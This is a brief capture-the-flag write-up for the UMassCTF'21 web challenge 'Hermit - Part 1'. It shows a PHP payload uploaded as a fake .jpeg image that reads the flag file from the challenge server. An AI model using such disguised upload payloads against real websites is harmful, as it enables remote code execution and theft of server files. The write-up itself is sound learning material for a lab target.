UMassCTF'21: Hermit - Part 1

Hermit - Part 1

Category: web

50 points

Help henry find a new shell

http://104.197.195.221:8086 http://34.121.84.161:8086

Created by Cobchise#6969

Hint: How do you know a file is an image?

Solution

Challenge is about PHP remote code execution. Under given address there’s a webpage with “image” upload ;-)

I messed around for a while on the system to finally prepare ugabuga.jpeg with below content and get the flag.

<?php
    $filestring = file_get_contents('/home/hermit/flag/userflag.txt');
    print $filestring;
?>

Flag

UMASS{a_picture_paints_a_thousand_shells}